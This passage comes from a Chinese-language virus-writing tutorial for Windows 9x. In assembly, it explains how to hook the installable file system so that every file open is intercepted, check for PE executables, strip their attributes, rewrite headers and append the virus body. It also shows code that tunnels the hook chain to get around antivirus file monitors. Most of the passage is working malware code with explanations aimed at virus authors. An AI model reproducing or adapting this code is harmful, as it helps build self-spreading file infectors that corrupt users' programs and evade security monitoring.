IFSFN_DISCONNECT equ 28h ; disconnect from resource (net only)
IFSFN_UNCPIPEREQ equ 29h ; UNC path based named pipe operation
IFSFN_IOCTL16DRIVE equ 2Ah ; drive based 16 bit IOCTL requests
IFSFN_GETDISKPARMS equ 2Bh ; get DPB
IFSFN_FINDOPEN equ 2Ch ; open an LFN file search
IFSFN_DASDIO equ 2Dh ; direct volume access

-------------------------------------------------------------------------------

对我们来说的第一件事,我们感兴趣的唯一的函数是24h,那就是说打开。系统几乎每时每刻都在调用那个函数,所以对它没有任何问题。为这个编码就和你能想象的一样简单:)

cmp dword ptr [ebp+0Ch],24h ; Check if system opening file
jnz back2oldhandler ; If not, skip and return to old h.

现在开始有意思的。我们知道这里系统请求文件打开,所以现在该我们了。首先,我们应该检查我们是否在进行我们自己的调用...简单,仅仅加一个小变量,它将出现一些问题。Btw,我几乎忘了,获得delta offset :)

pushad
call ring0_delta ; Get delta offset of this
ring0_delta:
pop ebx
sub ebx,offset ring0_delta

cmp byte ptr [ebx+semaphore],00h ; Are we the ones requesting
jne pushnback ; the call?

inc byte ptr [ebx+semaphore] ; For avoid process our own calls
pushad
call prepare_infection ; We'll see this stuff later
call infection_stuff
popad
dec byte ptr [ebx+semaphore] ; Stop avoiding :)

pushnback:
popad

现在我将继续介绍处理程序本身,然后,我将解释我是怎么做这些例程的,prepare_infection 和 infection_stuff。如果系统正在请求一个调用,我们就退出我们将要处理的例程,OK?现在,我们必须编写调用旧的FileSystem hook的例程。当你还记得(我假设你没有alzheimer),我们push了所有参数,所以我们该做的唯一的事情是装到寄存器中,旧地址没关系,然后调用那个内存位置。然后,我们把ESP加18h(为了能够获得返回地址),完了。你将最好看看一些代码,所以,你将看到:

back2oldhandler:
db 0B8h ; MOV EAX,imm32 opcode
Old_Handler equ $-(offset virus_start)
dd 00000000h ; here goes the old handler.
call [eax]
add esp,18h ; Fix stack (6*4)
leave ; 6 = num. paramz. 4 = dword size.
ret ; Return

感染准备
^^^^^^^^
这是Ring-0代码的主要部分的一方面。让我们现在看看Ring-0编写代码的细节。当我们在钩子处理中的时候,有两个调用,对吗?这不是必须的,但是我为了使代码更简单,那么做了,因为我喜欢使事情结构化。

在第一次调用的时候,我调用的prepare_infection仅仅因为一个原因做了一件事情。系统作为一个参数给我们的文件名,但是我们有一个问题。系统以UNICODE形式给我们的,而且对我们来说它没有什么用。所以,我们需要把它转换成ASCII码,对吗?我们有一个VxD服务可以为我们做这件事。它的名字:UniToBCSParh。下面是你喜欢的源代码。

prepare_infection:
pushad ; Push all
lea edi,[ebx+fname] ; Where to put ASCII file name
mov eax,[ebp+10h]
cmp al,0FFh ; Is it in UNICODE?
jz wegotdrive ; Oh, yeah!
add al,"@" ; Generate drive name
stosb
mov al,":" ; Add a :
stosb
wegotdrive:
xor eax,eax
push eax ; EAX = 0 -> Convert to ASCII
mov eax,100h
push eax ; EAX = Size of string to convert
mov eax,[ebp+1Ch]
mov eax,[eax+0Ch] ; EAX = Pointer to string
add eax,4
push eax
push edi ; Push offset to file name

@@3: VxDCall UniToBCSPath

add esp,10h ; Skip parameters returnet
add edi,eax
xor eax,eax ; Make string null-terminated
stosb
popad ; Pop all
ret ; Return

感染本身
^^^^^^^^
下面我将告诉你怎样到达直到你你必须的应用感染后的文件应该有的新的PE头和节头的值。但是,我不会解释怎么操作它们了,不是因为我懒,仅仅是因为这是Ring-0代码编写一章,而不是PE感染一章。这个部分和FileSystem 钩子代码的infection_stuff 部分相符。首先,我们必须检查我们将要操作的文件是否是一个.EXE文件还是其它不感兴趣的文件。所以,首先,我们必须在文件名字里寻找0值,它告诉我们它的末尾。这编写起来很简单:

infection_stuff:
lea edi,[ebx+fname] ; Variable with the file name
getend:
cmp byte ptr [edi],00h ; End of filename?
jz reached_end ; Yep
inc edi ; If not, search for another char
jmp getend
reached_end:

我们在EDI里是ASCII字符串里的0值,正如你知道的,它标志着字符串的结尾,也就是在这种情况下,文件名。下面是我们的主要检查,看看它是否是一个.EXE文件,如果它不是,跳过感染。我们还可以检查.SCR(Windows屏保),正如你知道的,它们也是可执行文件...这就是你的选择。下面给你一些代码:

cmp dword ptr [edi-4],"EXE." ; Look if extension is an EXE
jnz notsofunny

正如你能看到的,我比较了EDI-5次。

现在我们知道了那个文件是一个EXE文件:)所以该是移除它的属性,打开文件,修改相关域,关闭文件并恢复属性的时候了。所有这些函数由另外一个IFS服务完成,那就是IFSMgr_Ring0_FileIO。我没有找到关于全部这个的文档,总之也没有必要,它有很多的函数,正如我以前所说的,所有我们需要函数仅仅是为了进行文件感染。让我们VxD服务IFSMgr_Ring0_FileIO传送到EAX中的数值:

-----------------------------------------------------------------------
;函数定义在ring-0的API函数列表中:
;说明:大多数函数是上下文相关的,除非被明确的规定了,也就是说,它们不使用当前线程的上下文。;R0_LOCKFILE是唯一的例外-它总是使用当前线程的上下文。

R0_OPENCREATFILE equ 0D500h ; Open/Create a file
R0_OPENCREAT_IN_CONTEXT equ 0D501h ; Open/Create file in current contxt
R0_READFILE equ 0D600h ; Read a file, no context
R0_WRITEFILE equ 0D601h ; Write to a file, no context
R0_READFILE_IN_CONTEXT equ 0D602h ; Read a file, in thread context
R0_WRITEFILE_IN_CONTEXT equ 0D603h ; Write to a file, in thread context
R0_CLOSEFILE equ 0D700h ; Close a file
R0_GETFILESIZE equ 0D800h ; Get size of a file
R0_FINDFIRSTFILE equ 04E00h ; Do a LFN FindFirst operation
R0_FINDNEXTFILE equ 04F00h ; Do a LFN FindNext operation
R0_FINDCLOSEFILE equ 0DC00h ; Do a LFN FindClose operation
R0_FILEATTRIBUTES equ 04300h ; Get/Set Attributes of a file
R0_RENAMEFILE equ 05600h ; Rename a file
R0_DELETEFILE equ 04100h ; Delete a file
R0_LOCKFILE equ 05C00h ; Lock/Unlock a region in a file
R0_GETDISKFREESPACE equ 03600h ; Get disk free space
R0_READABSOLUTEDISK equ 0DD00h ; Absolute disk read
R0_WRITEABSOLUTEDISK equ 0DE00h ; Absolute disk write
-----------------------------------------------------------------------

迷人的函数,是吧?:)如果我们看看,它提醒了我们DOS int 21h函数。但是这个更好:)

好了,让我们保存旧的文件属性。正如你能看到的,这个函数是在我以前给你的列表中的,我们把这个参数(4300h)放到EAX中为了获得文件的属性到ECX中。所以,在那之后,我push它和文件名,它在ESI中。

lea esi,[ebx+fname] ; Pointer to file name
mov eax,R0_FILEATTRIBUTES ; EAX = 4300h
push eax ; Save it goddamit
VxDCall IFSMgr_Ring0_FileIO ; Get attributes
pop eax ; Restore 4300h from stack
jc notsofunny ; Something went wrong (?)

push esi ; Push pointer to file name
push ecx ; Push attributes

现在我们必须把它们去掉。没问题。设置文件属性的函数是,以前在IFSMgr_Ring0_FileIO中,但是现在是4301h。就像你在DOS下看到的这个值:)

inc eax ; 4300h+1=4301h :)
xor ecx,ecx ; No attributes sucker!
VxDCall IFSMgr_Ring0_FileIO ; Set new attributes (wipe'em)
jc stillnotsofunny ; Error (?!)

现在我们有一个没有属性的等着我们的文件了...我们该做什么呢?呵呵,我认为你是聪明的。让我们打开它!:)就像所有病毒中的这个部分一样,我们不得不调用IFSMgr_Ring0_FileIO,但是现在为打开文件传送到EAX中的是D500h。

lea esi,[ebx+fname] ; Put in ESI the file name
mov eax,R0_OPENCREATFILE ; EAX = D500h
xor ecx,ecx ; ECX = 0
mov edx,ecx
inc edx ; EDX = 1
mov ebx,edx
inc ebx ; EBX = 2
VxDCall IFSMgr_Ring0_FileIO
jc stillnotsofunny ; Shit.

xchg eax,ebx ; Optimize a bit, sucka! :)

现在我们在EBX中的是打开文件的句柄,所以如果你在文件关闭之前不使用这个文件将会完美,好吗?:)现在该是你读PE文件头并保存它(和操作它)的时候了,然后更新文件头,附加上病毒...这里我将仅仅解释怎样处理PE头的属性,因为它是这个教程的另外一部分了,而且我不想太多重复。我打算解释如何把PE头保存到我们的缓冲区中。它相当简单:如果你还记得,PE头从偏移地址3Ch(当然是从BOF开始)开始。然后我们必须读4字节(这个3Ch处的DWORD),并在这个偏移地址处再次读,这次,是400h字节,足够处理整个PE头了。正如你能想象的,读文件中的函数是在很棒的IFSMgr_Ring0_FileIO中,而且你可以看到我以前给你的表中的正确号码,在R0_READFILE中。传递给这个函数的参数如下:

EAX = R0_READFILE = D600h
EBX = File Handle
ECX = Number of bytes to read
EDX = Offset where we should read
ESI = Where will go the read bytes

call inf_delta ; 如果你还记得,我们在EBX中是delta offset
inf_delta: ; 但是打开文件之后,我们在EBX中是文件的句柄
pop ebp ; 所以我们必须重新计算它。
sub ebp,offset inf_delta ;

mov eax,R0_READFILE ; D600h
push eax ; Save it for later
mov ecx,4 ; Bytes to read, a DWORD
mov edx,03Ch ; Where read (BOF+3Ch)
lea esi,[ebp+pehead] ; There goez the PE header offzet
VxDCall IFSMgr_Ring0_FileIO ; The VxDCall itself

pop eax ; restore R0_READFILE from stack

mov edx,dword ptr [ebp+pehead] ; Where the PE header begins
lea esi,[ebp+header] ; Where write the read PE header
mov ecx,400h ; 1024 bytes, enough for all PE head.
VxDCall IFSMgr_Ring0_FileIO

现在我们通过看它的标志要看看我们刚才打开的文件是否是一个PE文件。我们在ESI中的是指向我们放置PE头的缓冲区,所以只要把ESI中的第一个DWORD和PE,0,0作比较即可(或者简单的用WORD和PE进行比较) ;)

cmp dword ptr [esi],"EP" ; 它是PE吗?
jnz muthafucka

现在你该检查以前的感染了,如果以前已经感染过了,只要到诸如关闭文件的地方即可。正如我以前所说的,我将跳过修改PE头的代码,因为假设你已经知道怎么做了。好了,想象一些你已经合适地修改了缓冲区里的PE头(在我的代码里,变量叫做header)。现在该是把新的头写到PE文件里的时候了。寄存器里的值应该是和
R0_READFILE函数差不多的,我将这样写它们:

EAX = R0_WRITEFILE = D601h
EBX = File Handle
ECX = Number of bytes to write
EDX = Offset where we should write
ESI = Offset of the bytes we want to write

mov eax,R0_WRITEFILE ; D601h
mov ecx,400h ; write 1024 bytez (buffer)
mov edx,dword ptr [ebp+pehead] ; where to write (PE offset)
lea esi,[ebp+header] ; Data to write
VxDCall IFSMgr_Ring0_FileIO

我们已经写完了头。现在,我们只要添加病毒即可。我决定把它添在EOF目录中,因为我的修改PE的方式...好了,我是用这种方法做的。但是不要担心,应用的的感染方法是很简单的,因为我假设你已经理解它是怎么工作的了。就在附加病毒主体之前,记住我们应该修正所有的VxDCall,因为它们在调用的时候在内存中已经改变了。记住,我在这篇教程里面教给你的VxD修正过程。另外,当我们在EOF处添加的时候,我们应该知道它占多少字节。相当简单,我们在IFSMgr_Ring0_FileIO中有一个函数(为什么不呢!)来做这个工作:R0_GETFILESIZE让我们看看它的输入参数:

EAX = R0_GETFILESIZE = D800h
EBX = File Handle

在EAX中返回给我们的是句柄对应的文件的大小,也就是我们试图感染的文件。

call VxDFix ; Re-make all INT 20h's

mov eax,R0_GETFILESIZE ; D800h
VxDCall IFSMgr_Ring0_FileIO
; EAX = File size
mov edx,R0_WRITEFILE ; EDX = D601h
xchg eax,edx ; EAX = D601; EDX = File size
lea esi,[ebp+virus_start] ; What to write
mov ecx,virus_size ; How much bytez to write
VxDCall IFSMgr_Ring0_FileIO

只剩下一些事情去做了。只要关闭文件并恢复它的旧的属性即可。当然关闭文件的函数是我们热爱的IFSMgr_Ring0_FileIO了,现在是函数D700h。让我们看看它的输入参数:

EAX = R0_CLOSEFILE = 0D700h
EBX = File Handle

现在是它的代码:

muthafucka:
mov eax,R0_CLOSEFILE
VxDCall IFSMgr_Ring0_FileIO

好了,只剩下一件事情去做了。恢复旧的属性。

stillnotsofunny:
pop ecx ; Restore old attributos
pop esi ; Restore ptr to FileName
mov eax,4301h ; Set attributes function
VxDCall IFSMgr_Ring0_FileIO

notsofunny:
ret

终于完了! :) 另外,所有的这些"VxDCall IFSMgr_Ring0_FileIO"最好在一个子例程中,用一个简单的call来调用它:它更优化了(如果你你使用我给你的VxDCall宏),它更好是因为只要把一个偏移放在VxDFix的表中就可以了。

%反VxD监视代码%
~~~~~~~~~~~~~~~
我必须不能忘记发现这个的人:Super/29A。此外,我应该解释这个东西是怎么回事。它和已经见过的InstallFileSystemApiHook服务有关,但是它没有被Micro$oft写成文档。InstallFileSystemApiHook服务返回给我们一个有意思的结构:

EAX + 00h -> Address of previous handler
EAX + 04h -> Hook_Info structure

而且正如你所想的,最重要的是Hook_Info 结构:

00h -> 钩子处理的地址, 这个结构的第一个
04h -> 先前钩子处理的地址
08h -> 先前钩子的Hook_Info的地址

所以,我们对这个结构进行递归搜索直到找到了第一个,被监视程序使用的链的顶部...然后我们必须修改它。代码?下面给出一部分 :)

; EDI = Points to virus copy in system heap

lea ecx,[edi+New_Handler] ; Install FileSystem Hook
push ecx
@@2: VxDCall IFSMgr_InstallFileSystemApiHook
pop ecx

xchg esi,eax ; ESI = Ptr actual hook
; handler
push esi
lodsd ; add esi,4 ; ESI = Ptr to Hook Handler
tunnel: lodsd ; EAX = Previous Hook Handler
; ESI = Ptr to Hook_Info
xchg eax,esi ; Very clear :)

add esi,08h ; ESI = 3rd dword in struc:
; previous Hook_Info

js tunnel ; If ESI < 7FFFFFFF, it was
; the last one :)
; EAX = Hook_Info of the top
; chain

mov dword ptr [edi+ptr_top_chain],eax ; Save in its var in mem
pop eax ; EAX = Last hook handler
[...]

如果你不懂,不要担心,这是第一次:想象一下我读懂Sexy的代码所花的时间!好了,我们已经把链顶存在一个变量里了。接下来的的代码片断是我们检查一个系统打开文件的请求,而且我们知道这个调用不是由我们的病毒所做的,只是在调用感染程序之前。

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

原创粉丝点击